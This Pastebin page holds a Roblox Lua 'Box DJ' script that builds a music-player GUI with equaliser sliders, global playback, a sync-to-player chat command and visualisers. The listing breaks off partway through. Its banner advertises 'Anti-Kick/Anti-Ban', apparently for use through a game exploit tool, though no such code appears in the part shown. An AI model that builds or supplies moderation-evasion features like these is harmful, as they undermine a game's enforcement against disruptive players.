Advertisement
NewUser420

BoxDJ

May 24th, 2018
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 84.73 KB | None | 0 0
  1. print([[
  2. ___________________________________
  3.  
  4. Derek1017's Box DJ Script V3
  5. -------------------- Updates --------------------
  6. + Added ForceField
  7. + Added Complete DJ System
  8. + Added Anti-Kick/Anti-Ban
  9. ___________________________________
  10. ]])
  11.  
  12. player = game:GetService("Players").LocalPlayer
  13. char = player.Character
  14. hed = char:WaitForChild("Head")
  15. root = char:WaitForChild("HumanoidRootPart")
  16. rs = game:GetService("RunService").RenderStepped
  17. mouse = player:GetMouse()
  18. vismode = "rainbow"
  19. firstrun = true
  20. asdid = ""
  21. asdtext = ""
  22. asdtimeposition = 0
  23. asdvolume = 0
  24. asdpitch = 0
  25. asdmax = 0
  26. mode = "local"
  27. asdhi=0
  28. asdmi=0
  29. asdlo=0
  30. asddist=0
  31. asdopen=false
  32. asdcolor = false
  33. synctarget = nil
  34. foundsound = false
  35.  
  36. mathrandom={x=0;y=0;z=0;}
  37.  
  38. local rdmx = math.random(0,1)
  39. local rdmy = math.random(0,1)
  40. local rdmz = math.random(0,1)
  41. if rdmx == 0 then mathrandom.x = math.random(40,60) else mathrandom.x = -math.random(40,60) end
  42. if rdmy == 0 then mathrandom.y = math.random(40,60) else mathrandom.y = -math.random(40,60) end
  43. if rdmz == 0 then mathrandom.z = math.random(40,60) else mathrandom.z = -math.random(40,60) end
  44.  
  45. local origcolor = BrickColor.new("Really red")
  46. bc = BrickColor.new
  47. br = BrickColor.random
  48. it = Instance.new
  49. cf = CFrame.new
  50. euler = CFrame.fromEulerAnglesXYZ
  51. angles = CFrame.Angles
  52. matr = math.random
  53. it = Instance.new
  54. vt = Vector3.new
  55. cf = CFrame.new
  56. bc = BrickColor.new
  57.  
  58.  
  59. local leftkey = false
  60. local rightkey = false
  61. local typerot = 1
  62. local rotspeed = 1
  63. local negrotspeed = -1
  64. function swait(num)
  65. if num==0 or num==nil then
  66. game:service'RunService'.Stepped:wait(0)
  67. else
  68. for i=0,num do
  69. game:service'RunService'.Stepped:wait(0)
  70. end
  71. end
  72. end
  73.  
  74. local Create = LoadLibrary("RbxUtility").Create
  75.  
  76. CFuncs = {
  77. ["Part"] = {
  78. Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  79. local Part = Create("Part"){
  80. Parent = Parent,
  81. Reflectance = Reflectance,
  82. Transparency = Transparency,
  83. CanCollide = false,
  84. Locked = true,
  85. BrickColor = BrickColor.new(tostring(BColor)),
  86. Name = Name,
  87. Size = Size,
  88. Material = Material,
  89. }
  90. RemoveOutlines(Part)
  91. return Part
  92. end;
  93. };
  94.  
  95. ["Mesh"] = {
  96. Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  97. local Msh = Create(Mesh){
  98. Parent = Part,
  99. Offset = OffSet,
  100. Scale = Scale,
  101. }
  102. if Mesh == "SpecialMesh" then
  103. Msh.MeshType = MeshType
  104. Msh.MeshId = MeshId
  105. end
  106. return Msh
  107. end;
  108. };
  109.  
  110. ["Mesh"] = {
  111. Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  112. local Msh = Create(Mesh){
  113. Parent = Part,
  114. Offset = OffSet,
  115. Scale = Scale,
  116. }
  117. if Mesh == "SpecialMesh" then
  118. Msh.MeshType = MeshType
  119. Msh.MeshId = MeshId
  120. end
  121. return Msh
  122. end;
  123. };
  124.  
  125. ["Weld"] = {
  126. Create = function(Parent, Part0, Part1, C0, C1)
  127. local Weld = Create("Weld"){
  128. Parent = Parent,
  129. Part0 = Part0,
  130. Part1 = Part1,
  131. C0 = C0,
  132. C1 = C1,
  133. }
  134. return Weld
  135. end;
  136. };
  137.  
  138. ["Sound"] = {
  139. Create = function(id, par, vol, pit)
  140. coroutine.resume(coroutine.create(function()
  141. local S = Create("Sound"){
  142. Volume = vol,
  143. Pitch = pit or 1,
  144. SoundId = id,
  145. Parent = par or workspace,
  146. }
  147. wait()
  148. S:play()
  149. game:GetService("Debris"):AddItem(S, 10)
  150. end))
  151. end;
  152. };
  153.  
  154. ["ParticleEmitter"] = {
  155. Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread)
  156. local fp = Create("ParticleEmitter"){
  157. Parent = Parent,
  158. Color = ColorSequence.new(Color1, Color2),
  159. LightEmission = LightEmission,
  160. Size = Size,
  161. Texture = Texture,
  162. Transparency = Transparency,
  163. ZOffset = ZOffset,
  164. Acceleration = Accel,
  165. Drag = Drag,
  166. LockedToPart = LockedToPart,
  167. VelocityInheritance = VelocityInheritance,
  168. EmissionDirection = EmissionDirection,
  169. Enabled = Enabled,
  170. Lifetime = LifeTime,
  171. Rate = Rate,
  172. Rotation = Rotation,
  173. RotSpeed = RotSpeed,
  174. Speed = Speed,
  175. VelocitySpread = VelocitySpread,
  176. }
  177. return fp
  178. end;
  179. };
  180.  
  181. CreateTemplate = {
  182.  
  183. };
  184. }
  185.  
  186.  
  187.  
  188. New = function(Object, Parent, Name, Data)
  189. local Object = Instance.new(Object)
  190. for Index, Value in pairs(Data or {}) do
  191. Object[Index] = Value
  192. end
  193. Object.Parent = Parent
  194. Object.Name = Name
  195. return Object
  196. end
  197.  
  198. function CreateSound(asd)
  199. if synctarget == nil then
  200. if mode == "local" then
  201. soundparent=char:WaitForChild("Torso")
  202. else
  203. soundparent=char
  204. end
  205. sound = Instance.new("Sound",soundparent)
  206. sound.Name = "KyuSound"
  207. sound.Looped = true
  208. effect = Instance.new("EqualizerSoundEffect",sound)
  209. coroutine.resume(coroutine.create(function()
  210. distort = Instance.new("DistortionSoundEffect",sound)
  211. end))
  212. if asd ~= nil then
  213. sound.SoundId = asdid
  214. sound.TimePosition = asdtimeposition
  215. end
  216. sound:Play()
  217. end
  218. end
  219.  
  220. function fetchName(id)
  221. cast = false
  222. coroutine.resume(coroutine.create(function() product = game:GetService("MarketplaceService"):GetProductInfo(id, Enum.InfoType.Asset) cast = true end))
  223. if cast == true then
  224. repeat rs:wait()
  225. coroutine.resume(coroutine.create(function() product = game:GetService("MarketplaceService"):GetProductInfo(id, Enum.InfoType.Asset) end))
  226. asdfname = product.Name
  227. until asdfname ~= nil
  228. else
  229. asdfname = ""
  230. end
  231. return asdfname
  232. end
  233.  
  234. function scan(instance)
  235. if instance.ClassName == "Sound" then
  236. if instance.TimeLength > 20 and instance.IsPlaying and foundsound == false then
  237. asdid = instance.SoundId
  238. sound = instance
  239. foundsound = true
  240. print("Sync to sound :)")
  241. end
  242. end
  243. for _,children in pairs(instance:GetChildren()) do scan(children) end
  244. end
  245.  
  246. function drawgui()
  247.  
  248. Prefix = "/"
  249. function findPlayer(name)
  250. for _, players in pairs(game:getService("Players"):GetPlayers()) do
  251. if players.Name:lower():find(name:lower()) then
  252. return players
  253. end
  254. end
  255. end
  256.  
  257. if firstrun == true then
  258. player.Chatted:connect(function(msg)
  259. if msg:lower():sub(1,#Prefix+#'sync ')==Prefix..'sync ' then
  260. local v = msg:sub(#Prefix+#'sync '+1)
  261. foundsound = false
  262. synctarget = findPlayer(v)
  263. end
  264. end)
  265. end
  266.  
  267. naeeym2 = Instance.new("BillboardGui",root)
  268. naeeym2.Size = UDim2.new(10, 0, 4, 0)
  269. naeeym2.StudsOffset = Vector3.new(0, 7, 0)
  270. naeeym2.Adornee = root
  271. naeeym2.Name = "TalkingBillBoard"
  272. tecks2 = Instance.new("TextLabel",naeeym2)
  273. tecks2.BackgroundTransparency = 1
  274. tecks2.BorderSizePixel = 0
  275. if firstrun == true then
  276. tecks2.Text = ""
  277. else
  278. tecks2.Text = fetchName(tonumber(asdid:sub(#'rbxassetid://'+1)))
  279. end
  280. tecks2.Font = "Fantasy"
  281. tecks2.TextSize = 25
  282. tecks2.Size = UDim2.new(1,0,1,0)
  283. tecks2.TextStrokeTransparency = 0
  284. tecks2.TextTransparency = 0
  285.  
  286. parent = player.PlayerGui
  287. ScreenGui0 = Instance.new("ScreenGui")
  288. TextButton1 = Instance.new("TextButton")
  289. Frame2 = Instance.new("Frame")
  290. TextBox3 = Instance.new("TextBox")
  291. TextButton4 = Instance.new("TextButton")
  292. Frame5 = Instance.new("Frame")
  293. Frame6 = Instance.new("Frame")
  294. Frame7 = Instance.new("Frame")
  295. TextLabel8 = Instance.new("TextLabel")
  296. TextButton9 = Instance.new("TextButton")
  297. Frame10 = Instance.new("Frame")
  298. Frame11 = Instance.new("Frame")
  299. TextLabel12 = Instance.new("TextLabel")
  300. TextButton13 = Instance.new("TextButton")
  301. TextButton14 = Instance.new("TextButton")
  302. Frame15 = Instance.new("Frame")
  303. Frame16 = Instance.new("Frame")
  304. Frame17 = Instance.new("Frame")
  305. TextButton18 = Instance.new("TextButton")
  306. TextLabel19 = Instance.new("TextLabel")
  307. Frame20 = Instance.new("Frame")
  308. Frame21 = Instance.new("Frame")
  309. TextButton22 = Instance.new("TextButton")
  310. TextLabel23 = Instance.new("TextLabel")
  311. Frame24 = Instance.new("Frame")
  312. Frame25 = Instance.new("Frame")
  313. TextButton26 = Instance.new("TextButton")
  314. TextLabel27 = Instance.new("TextLabel")
  315. Frame28 = Instance.new("Frame")
  316. Frame29 = Instance.new("Frame")
  317. TextButton30 = Instance.new("TextButton")
  318. TextLabel31 = Instance.new("TextLabel")
  319. Frame32 = Instance.new("Frame")
  320. TextButton33 = Instance.new("TextButton")
  321. TextButton34 = Instance.new("TextButton")
  322. ScreenGui0.Name = "MusicPlayerKyu"
  323. ScreenGui0.Parent = parent
  324. TextButton1.AnchorPoint = Vector2.new(0, 0.5)
  325. TextButton1.Name = "Open/Close"
  326. TextButton1.Parent = ScreenGui0
  327. TextButton1.Size = UDim2.new(0, 20, 0, 300)
  328. TextButton1.Text = ">>"
  329. TextButton1.Position = UDim2.new(0, 0, 0.5, 0)
  330. TextButton1.BackgroundColor3 = Color3.new(1, 1, 1)
  331. TextButton1.SizeConstraint = Enum.SizeConstraint.RelativeXX
  332. TextButton1.Font = Enum.Font.Code
  333. Frame2.AnchorPoint = Vector2.new(0, 0.5)
  334. Frame2.Name = "Core"
  335. Frame2.Parent = ScreenGui0
  336. Frame2.Size = UDim2.new(0, 500, 0, 300)
  337. Frame2.Position = UDim2.new(0, 20, 0.5, 0)
  338. Frame2.BackgroundColor3 = Color3.new(0.615686, 0.615686, 0.615686)
  339. Frame2.SizeConstraint = Enum.SizeConstraint.RelativeXX
  340. TextBox3.Name = "ID"
  341. TextBox3.Parent = Frame2
  342. TextBox3.Size = UDim2.new(0, 100, 0, 100)
  343. if firstrun == true then
  344. TextBox3.Text = "ID"
  345. else
  346. TextBox3.Text = asdtext
  347. end
  348. TextBox3.Position = UDim2.new(0, 50, 0, 20)
  349. TextBox3.BackgroundColor3 = Color3.new(1, 1, 1)
  350. TextBox3.SizeConstraint = Enum.SizeConstraint.RelativeXX
  351. TextBox3.Font = Enum.Font.SciFi
  352. TextBox3.FontSize = Enum.FontSize.Size14
  353. TextButton4.Name = "Play"
  354. TextButton4.Parent = TextBox3
  355. TextButton4.Size = UDim2.new(1, 0, 0, 20)
  356. TextButton4.Text = "PLAY"
  357. TextButton4.Position = UDim2.new(0.5, 0, 1, 0)
  358. TextButton4.BackgroundColor3 = Color3.new(1, 1, 1)
  359. TextButton4.Font = Enum.Font.SciFi
  360. TextButton4.FontSize = Enum.FontSize.Size14
  361. TextButton4.AnchorPoint = Vector2.new(0.5, 0)
  362. Frame5.Name = "SettingsPanel"
  363. Frame5.Parent = Frame2
  364. Frame5.Size = UDim2.new(0, 300, 0, 150)
  365. Frame5.Position = UDim2.new(1, -20, 0, 20)
  366. Frame5.BackgroundColor3 = Color3.new(0.345098, 0.345098, 0.345098)
  367. Frame5.AnchorPoint = Vector2.new(1, 0)
  368. Frame6.Name = "Volume"
  369. Frame6.Parent = Frame5
  370. Frame6.Transparency = 0
  371. Frame6.Size = UDim2.new(0, 100, 0, 100)
  372. Frame6.Position = UDim2.new(0, 100, 0.5, 0)
  373. Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
  374. Frame6.BackgroundTransparency = 1
  375. Frame6.AnchorPoint = Vector2.new(0.5, 0.5)
  376. Frame7.Name = "Line"
  377. Frame7.Parent = Frame6
  378. Frame7.Size = UDim2.new(0, 1, 1, 0)
  379. Frame7.Position = UDim2.new(0.5, 0, 0, 0)
  380. Frame7.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  381. Frame7.BorderSizePixel = 0
  382. Frame7.AnchorPoint = Vector2.new(0.5, 0)
  383. TextLabel8.Name = "Text"
  384. TextLabel8.Parent = Frame6
  385. TextLabel8.Transparency = 0
  386. TextLabel8.Text = "Volume"
  387. TextLabel8.Position = UDim2.new(0.5, 0, 1, 10)
  388. TextLabel8.BackgroundColor3 = Color3.new(1, 1, 1)
  389. TextLabel8.BackgroundTransparency = 1
  390. TextLabel8.Font = Enum.Font.SourceSans
  391. TextLabel8.FontSize = Enum.FontSize.Size10
  392. TextLabel8.AnchorPoint = Vector2.new(0.5, 0)
  393. TextButton9.Name = "DragVol"
  394. TextButton9.Parent = Frame6
  395. TextButton9.Size = UDim2.new(0, 20, 0, 10)
  396. TextButton9.Text = ""
  397. if firstrun == true then
  398. TextButton9.Position = UDim2.new(0.5, 0, 0.5, 0)
  399. else
  400. TextButton9.Position = asdvolume
  401. end
  402. TextButton9.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  403. TextButton9.Font = Enum.Font.SourceSans
  404. TextButton9.AnchorPoint = Vector2.new(0.5, 0.5)
  405. Frame10.Name = "Pitch"
  406. Frame10.Parent = Frame5
  407. Frame10.Transparency = 0
  408. Frame10.Size = UDim2.new(0, 100, 0, 100)
  409. Frame10.Position = UDim2.new(0, 50, 0.5, 0)
  410. Frame10.BackgroundColor3 = Color3.new(1, 1, 1)
  411. Frame10.BackgroundTransparency = 1
  412. Frame10.AnchorPoint = Vector2.new(0.5, 0.5)
  413. Frame11.Name = "Line"
  414. Frame11.Parent = Frame10
  415. Frame11.Size = UDim2.new(0, 1, 1, 0)
  416. Frame11.Position = UDim2.new(0.5, 0, 0, 0)
  417. Frame11.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  418. Frame11.BorderSizePixel = 0
  419. Frame11.AnchorPoint = Vector2.new(0.5, 0)
  420. TextLabel12.Name = "Text"
  421. TextLabel12.Parent = Frame10
  422. TextLabel12.Transparency = 0
  423. TextLabel12.Text = "Pitch"
  424. TextLabel12.Position = UDim2.new(0.5, 0, 1, 10)
  425. TextLabel12.BackgroundColor3 = Color3.new(1, 1, 1)
  426. TextLabel12.BackgroundTransparency = 1
  427. TextLabel12.Font = Enum.Font.SourceSans
  428. TextLabel12.FontSize = Enum.FontSize.Size10
  429. TextLabel12.AnchorPoint = Vector2.new(0.5, 0)
  430. TextButton13.Name = "DragPitch"
  431. TextButton13.Parent = Frame10
  432. TextButton13.Size = UDim2.new(0, 20, 0, 10)
  433. TextButton13.Text = ""
  434. if firstrun == true then
  435. TextButton13.Position = UDim2.new(0.5, 0, 0.5, 0)
  436. else
  437. TextButton13.Position = asdpitch
  438. end
  439. TextButton13.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  440. TextButton13.Font = Enum.Font.SourceSans
  441. TextButton13.AnchorPoint = Vector2.new(0.5, 0.5)
  442. TextButton14.Name = "Reset"
  443. TextButton14.Parent = Frame10
  444. TextButton14.Size = UDim2.new(0, 20, 0, 20)
  445. TextButton14.Text = ""
  446. TextButton14.Position = UDim2.new(0.5, -15, 0.5, 0)
  447. TextButton14.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  448. TextButton14.Font = Enum.Font.SourceSans
  449. TextButton14.FontSize = Enum.FontSize.Size14
  450. TextButton14.AnchorPoint = Vector2.new(1, 0.5)
  451. Frame15.Name = "Others"
  452. Frame15.Parent = Frame5
  453. Frame15.Transparency = 0
  454. Frame15.Size = UDim2.new(0, 100, 0, 100)
  455. Frame15.Position = UDim2.new(0, 210, 0.5, 0)
  456. Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
  457. Frame15.BackgroundTransparency = 1
  458. Frame15.AnchorPoint = Vector2.new(0.5, 0.5)
  459. Frame16.Name = "Low"
  460. Frame16.Parent = Frame15
  461. Frame16.Transparency = 0
  462. Frame16.Size = UDim2.new(0, 0, 1, 0)
  463. Frame16.BackgroundColor3 = Color3.new(1, 1, 1)
  464. Frame16.BackgroundTransparency = 1
  465. Frame17.Name = "Line"
  466. Frame17.Parent = Frame16
  467. Frame17.Size = UDim2.new(0, 1, 1, 0)
  468. Frame17.Position = UDim2.new(0.5, 0, 0, 0)
  469. Frame17.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  470. Frame17.BorderSizePixel = 0
  471. Frame17.AnchorPoint = Vector2.new(0.5, 0)
  472. TextButton18.Name = "DragLow"
  473. TextButton18.Parent = Frame16
  474. TextButton18.Size = UDim2.new(0, 20, 0, 10)
  475. TextButton18.Text = ""
  476. if firstrun == true then
  477. TextButton18.Position = UDim2.new(0.5, 0, 0.5, -25)
  478. else
  479. TextButton18.Position = asdlo
  480. end
  481. TextButton18.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  482. TextButton18.Font = Enum.Font.SourceSans
  483. TextButton18.AnchorPoint = Vector2.new(0.5, 0.5)
  484. TextLabel19.Name = "Text"
  485. TextLabel19.Parent = Frame16
  486. TextLabel19.Transparency = 0
  487. TextLabel19.Text = "Low"
  488. TextLabel19.Position = UDim2.new(0.5, 0, 1, 10)
  489. TextLabel19.BackgroundColor3 = Color3.new(1, 1, 1)
  490. TextLabel19.BackgroundTransparency = 1
  491. TextLabel19.Font = Enum.Font.SourceSans
  492. TextLabel19.FontSize = Enum.FontSize.Size10
  493. TextLabel19.AnchorPoint = Vector2.new(0.5, 0)
  494. Frame20.Name = "Medium"
  495. Frame20.Parent = Frame15
  496. Frame20.Transparency = 0
  497. Frame20.Size = UDim2.new(0, 0, 1, 0)
  498. Frame20.Position = UDim2.new(0, 40, 0, 0)
  499. Frame20.BackgroundColor3 = Color3.new(1, 1, 1)
  500. Frame20.BackgroundTransparency = 1
  501. Frame21.Name = "Line"
  502. Frame21.Parent = Frame20
  503. Frame21.Size = UDim2.new(0, 1, 1, 0)
  504. Frame21.Position = UDim2.new(0.5, 0, 0, 0)
  505. Frame21.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  506. Frame21.BorderSizePixel = 0
  507. Frame21.AnchorPoint = Vector2.new(0.5, 0)
  508. TextButton22.Name = "DragMed"
  509. TextButton22.Parent = Frame20
  510. TextButton22.Size = UDim2.new(0, 20, 0, 10)
  511. TextButton22.Text = ""
  512. if firstrun == true then
  513. TextButton22.Position = UDim2.new(0.5, 0, 0.5, -25)
  514. else
  515. TextButton22.Position = asdmi
  516. end
  517. TextButton22.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  518. TextButton22.Font = Enum.Font.SourceSans
  519. TextButton22.AnchorPoint = Vector2.new(0.5, 0.5)
  520. TextLabel23.Name = "Text"
  521. TextLabel23.Parent = Frame20
  522. TextLabel23.Transparency = 0
  523. TextLabel23.Text = "Medium"
  524. TextLabel23.Position = UDim2.new(0.5, 0, 1, 10)
  525. TextLabel23.BackgroundColor3 = Color3.new(1, 1, 1)
  526. TextLabel23.BackgroundTransparency = 1
  527. TextLabel23.Font = Enum.Font.SourceSans
  528. TextLabel23.FontSize = Enum.FontSize.Size10
  529. TextLabel23.AnchorPoint = Vector2.new(0.5, 0)
  530. Frame24.Name = "High"
  531. Frame24.Parent = Frame15
  532. Frame24.Transparency = 0
  533. Frame24.Size = UDim2.new(0, 0, 1, 0)
  534. Frame24.Position = UDim2.new(0, 80, 0, 0)
  535. Frame24.BackgroundColor3 = Color3.new(1, 1, 1)
  536. Frame24.BackgroundTransparency = 1
  537. Frame25.Name = "Line"
  538. Frame25.Parent = Frame24
  539. Frame25.Size = UDim2.new(0, 1, 1, 0)
  540. Frame25.Position = UDim2.new(0.5, 0, 0, 0)
  541. Frame25.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  542. Frame25.BorderSizePixel = 0
  543. Frame25.AnchorPoint = Vector2.new(0.5, 0)
  544. TextButton26.Name = "DragHigh"
  545. TextButton26.Parent = Frame24
  546. TextButton26.Size = UDim2.new(0, 20, 0, 10)
  547. TextButton26.Text = ""
  548. if firstrun == true then
  549. TextButton26.Position = UDim2.new(0.5, 0, 0.5, -25)
  550. else
  551. TextButton26.Position = asdhi
  552. end
  553. TextButton26.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  554. TextButton26.Font = Enum.Font.SourceSans
  555. TextButton26.AnchorPoint = Vector2.new(0.5, 0.5)
  556. TextLabel27.Name = "Text"
  557. TextLabel27.Parent = Frame24
  558. TextLabel27.Transparency = 0
  559. TextLabel27.Text = "High"
  560. TextLabel27.Position = UDim2.new(0.5, 0, 1, 10)
  561. TextLabel27.BackgroundColor3 = Color3.new(1, 1, 1)
  562. TextLabel27.BackgroundTransparency = 1
  563. TextLabel27.Font = Enum.Font.SourceSans
  564. TextLabel27.FontSize = Enum.FontSize.Size10
  565. TextLabel27.AnchorPoint = Vector2.new(0.5, 0)
  566. Frame28.Name = "Distortion"
  567. Frame28.Parent = Frame15
  568. Frame28.Transparency = 0
  569. Frame28.Size = UDim2.new(0, 0, 1, 0)
  570. Frame28.Position = UDim2.new(0, 120, 0, 0)
  571. Frame28.BackgroundColor3 = Color3.new(1, 1, 1)
  572. Frame28.BackgroundTransparency = 1
  573. Frame29.Name = "Line"
  574. Frame29.Parent = Frame28
  575. Frame29.Size = UDim2.new(0, 1, 1, 0)
  576. Frame29.Position = UDim2.new(0.5, 0, 0, 0)
  577. Frame29.BackgroundColor3 = Color3.new(0.290196, 0.290196, 0.290196)
  578. Frame29.BorderSizePixel = 0
  579. Frame29.AnchorPoint = Vector2.new(0.5, 0)
  580. TextButton30.Name = "DragDist"
  581. TextButton30.Parent = Frame28
  582. TextButton30.Size = UDim2.new(0, 20, 0, 10)
  583. TextButton30.Text = ""
  584. if firstrun == true then
  585. TextButton30.Position = UDim2.new(0.5, 0, 0.5, 50)
  586. else
  587. TextButton30.Position = asddist
  588. end
  589. TextButton30.BackgroundColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  590. TextButton30.Font = Enum.Font.SourceSans
  591. TextButton30.AnchorPoint = Vector2.new(0.5, 0.5)
  592. TextLabel31.Name = "Text"
  593. TextLabel31.Parent = Frame28
  594. TextLabel31.Transparency = 0
  595. TextLabel31.Text = "Dist"
  596. TextLabel31.Position = UDim2.new(0.5, 0, 1, 10)
  597. TextLabel31.BackgroundColor3 = Color3.new(1, 1, 1)
  598. TextLabel31.BackgroundTransparency = 1
  599. TextLabel31.Font = Enum.Font.SourceSans
  600. TextLabel31.FontSize = Enum.FontSize.Size10
  601. TextLabel31.AnchorPoint = Vector2.new(0.5, 0)
  602. Frame32.Name = "Line"
  603. Frame32.Parent = Frame5
  604. Frame32.Size = UDim2.new(0, 1, 1, -20)
  605. Frame32.Position = UDim2.new(0.5, -20, 0.5, 0)
  606. Frame32.BackgroundColor3 = Color3.new(0.188235, 0.188235, 0.188235)
  607. Frame32.BorderSizePixel = 0
  608. Frame32.AnchorPoint = Vector2.new(0.5, 0.5)
  609. TextButton33.Name = "Global/Local"
  610. TextButton33.Parent = Frame2
  611. TextButton33.Size = UDim2.new(0, 100, 0, 100)
  612. if mode == "local" then
  613. TextButton33.Text = "LOCAL"
  614. else
  615. TextButton33.Text = "GLOBAL"
  616. end
  617. TextButton33.Position = UDim2.new(0, 50, 0, 180)
  618. TextButton33.BackgroundColor3 = Color3.new(1, 1, 1)
  619. TextButton33.Font = Enum.Font.SciFi
  620. TextButton33.FontSize = Enum.FontSize.Size14
  621. TextButton34.Name = "Style"
  622. TextButton34.Parent = Frame2
  623. TextButton34.Size = UDim2.new(0.5, 50, 0, 100)
  624. TextButton34.Text = "Style: "..vismode
  625. TextButton34.Position = UDim2.new(0.5, 80, 0, 180)
  626. TextButton34.BackgroundColor3 = Color3.new(0.211765, 0.211765, 0.211765)
  627. TextButton34.Font = Enum.Font.SciFi
  628. TextButton34.FontSize = Enum.FontSize.Size14
  629. TextButton34.TextColor3 = Color3.new(1, 1, 0)
  630. TextButton34.AnchorPoint = Vector2.new(0.5, 0)
  631. Frame2.Visible = asdopen
  632.  
  633. draggable = {TextButton9;TextButton13;TextButton18;TextButton22;TextButton26;TextButton30}
  634. held = false
  635. trigger = nil
  636. base = UDim2.new(0,0,0,0)
  637.  
  638. TextButton1.MouseButton1Click:connect(function()
  639. if Frame2.Visible == true then
  640. Frame2.Visible = false
  641. asdopen = false
  642. TextButton1.Text = ">>"
  643. else
  644. Frame2.Visible = true
  645. asdopen = true
  646. TextButton1.Text = "<<"
  647. end
  648. end)
  649.  
  650. TextButton4.MouseButton1Click:connect(function()
  651. if mode == "local" then
  652. if not char:WaitForChild("Torso"):FindFirstChild("KyuSound") then CreateSound() end
  653. else
  654. if not char:FindFirstChild("KyuSound") then CreateSound() end
  655. end
  656. synctarget = nil
  657. sound:Stop()
  658. soundname = fetchName(TextBox3.Text)
  659. tecks2.Text = soundname
  660. asdid = "rbxassetid://"..TextBox3.Text
  661. sound:Play()
  662. end)
  663.  
  664. TextButton14.MouseButton1Click:connect(function()
  665. TextButton13.Position = UDim2.new(0.5, 0, 0.5, 0)
  666. end)
  667.  
  668. TextButton33.MouseButton1Click:connect(function()
  669. if synctarget == nil then
  670. if mode == "local" then
  671. mode = "global"
  672. TextButton33.Text = "GLOBAL"
  673. if char:WaitForChild("Torso"):FindFirstChild("KyuSound") then
  674. sound:Pause()
  675. sound.Parent = char
  676. sound:Resume()
  677. end
  678. else
  679. mode = "local"
  680. TextButton33.Text = "LOCAL"
  681. if char:FindFirstChild("KyuSound") then
  682. sound:Pause()
  683. sound.Parent = char:WaitForChild("Torso")
  684. sound:Resume()
  685. end
  686. end
  687. end
  688. end)
  689.  
  690. function changemode()
  691. if vismode == "nothing" then
  692. vismode = "rainbow"
  693. local rdmx = math.random(0,1)
  694. local rdmy = math.random(0,1)
  695. local rdmz = math.random(0,1)
  696. if rdmx == 0 then mathrandom.x = math.random(40,60) else mathrandom.x = -math.random(40,60) end
  697. if rdmy == 0 then mathrandom.y = math.random(40,60) else mathrandom.y = -math.random(40,60) end
  698. if rdmz == 0 then mathrandom.z = math.random(40,60) else mathrandom.z = -math.random(40,60) end
  699. elseif vismode == "rainbow" then
  700. vismode = "classic"
  701. bp.Position = char.Head.Position+Vector3.new(0,2,0)
  702. Main.Position = char.Head.Position+Vector3.new(0,2,0)
  703. part:Destroy()
  704. elseif vismode == "classic" then
  705. vismode = "trail"
  706. local rdmx = math.random(0,1)
  707. local rdmy = math.random(0,1)
  708. local rdmz = math.random(0,1)
  709. if rdmx == 0 then mathrandom.x = math.random(40,60) else mathrandom.x = -math.random(40,60) end
  710. if rdmy == 0 then mathrandom.y = math.random(40,60) else mathrandom.y = -math.random(40,60) end
  711. if rdmz == 0 then mathrandom.z = math.random(40,60) else mathrandom.z = -math.random(40,60) end
  712. elseif vismode == "trail" then
  713. part:Destroy()
  714. vismode = "nooby"
  715. elseif vismode == "nooby" then
  716. vismode = "trail kyu"
  717. centralpart:Destroy()
  718. local rdmx = math.random(0,1)
  719. local rdmy = math.random(0,1)
  720. local rdmz = math.random(0,1)
  721. if rdmx == 0 then mathrandom.x = math.random(40,60) else mathrandom.x = -math.random(40,60) end
  722. if rdmy == 0 then mathrandom.y = math.random(40,60) else mathrandom.y = -math.random(40,60) end
  723. if rdmz == 0 then mathrandom.z = math.random(40,60) else mathrandom.z = -math.random(40,60) end
  724. elseif vismode == "trail kyu" then
  725. part:Destroy()
  726. vismode = "nothing"
  727. end
  728. end
  729.  
  730. TextButton34.MouseButton1Click:connect(function()
  731. changemode()
  732. end)
  733.  
  734. for i,v in pairs(draggable) do
  735. v.MouseButton1Down:connect(function()
  736. trigger = v
  737. base = UDim2.new(0.5,0,0.5,mouse.y) - trigger.Position
  738. held = true
  739. end)
  740. v.MouseButton1Up:connect(function()
  741. base = UDim2.new(0.5,0,0.5,0)
  742. trigger = nil
  743. held = false
  744. end)
  745. end
  746.  
  747. mouse.Button1Up:connect(function()
  748. base = UDim2.new(0.5,0,0.5,0)
  749. trigger = nil
  750. held = false
  751. end)
  752.  
  753. mouse.Move:connect(function()
  754. if held then
  755. trigger.Position = UDim2.new(0.5,0,0.5,mouse.y) - base
  756. if trigger.Position.Y.Offset > 50 then
  757. trigger.Position = UDim2.new(0.5, 0,0.5, 50)
  758. end
  759. if trigger.Position.Y.Offset < -50 then
  760. trigger.Position = UDim2.new(0.5, 0,0.5, -50)
  761. end
  762. if trigger.Position.X.Offset ~= 0 then
  763. trigger.Position = UDim2.new(0.5, 0,0.5, trigger.Position.Y.Offset)
  764. end
  765. end
  766. end)
  767. max = asdmax
  768. Visualiser = Instance.new("Model",char)
  769. Visualiser2 = Instance.new("Model",Visualiser)
  770. Visualiser2.Name = "VisualiserK"
  771. Main = Instance.new("Part",Visualiser)
  772. Main.Name = "VisualiserClassic"
  773. Main.Position = char.Head.Position+Vector3.new(0,2,0)
  774. Main.CanCollide = false
  775. Main.Size = Vector3.new(1,1,1)
  776. Main.Transparency = 1
  777. Visualiserpos = Instance.new("Attachment",Main)
  778. Visualiserpos.Position = Vector3.new(5,0,0)
  779. Visualiserpos2 = Instance.new("Attachment",Main)
